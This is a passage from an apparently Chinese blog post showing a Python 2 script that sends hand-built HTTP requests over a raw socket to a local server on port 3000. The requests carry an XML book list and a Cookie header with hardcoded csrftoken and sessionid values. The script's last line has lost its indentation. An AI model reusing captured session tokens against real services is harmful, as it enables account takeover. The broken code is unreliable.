Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid=snzojzqa5zn187oghf06z6xodulpohpr

<?xml version="1.0" encoding="utf-8"?>
<books>
 <book>
 <name>NAME1</name>
 </book>
 <book>
<name>NAME2</name>
</book>
</books>
'''.replace('\n', '\r\n')


def main(netloc):
    host, port = netloc.split(':')

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, int(port)))

    sock.sendall(req1)
    data=sock.recv(4096)
    print data
    print '[+]connection finished'
    print req2
    sock.sendall(req2)
    data = sock.recv(409600)
    data = data.decode(errors='ignore')

    print data

    #sock.shutdown(socket.SHUT_RDWR)
    sock.close()


if __name__ == "__main__":
main('127.0.0.1:3000')

發佈了23 篇原創文章 · 獲贊 100 · 訪問量 8250
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章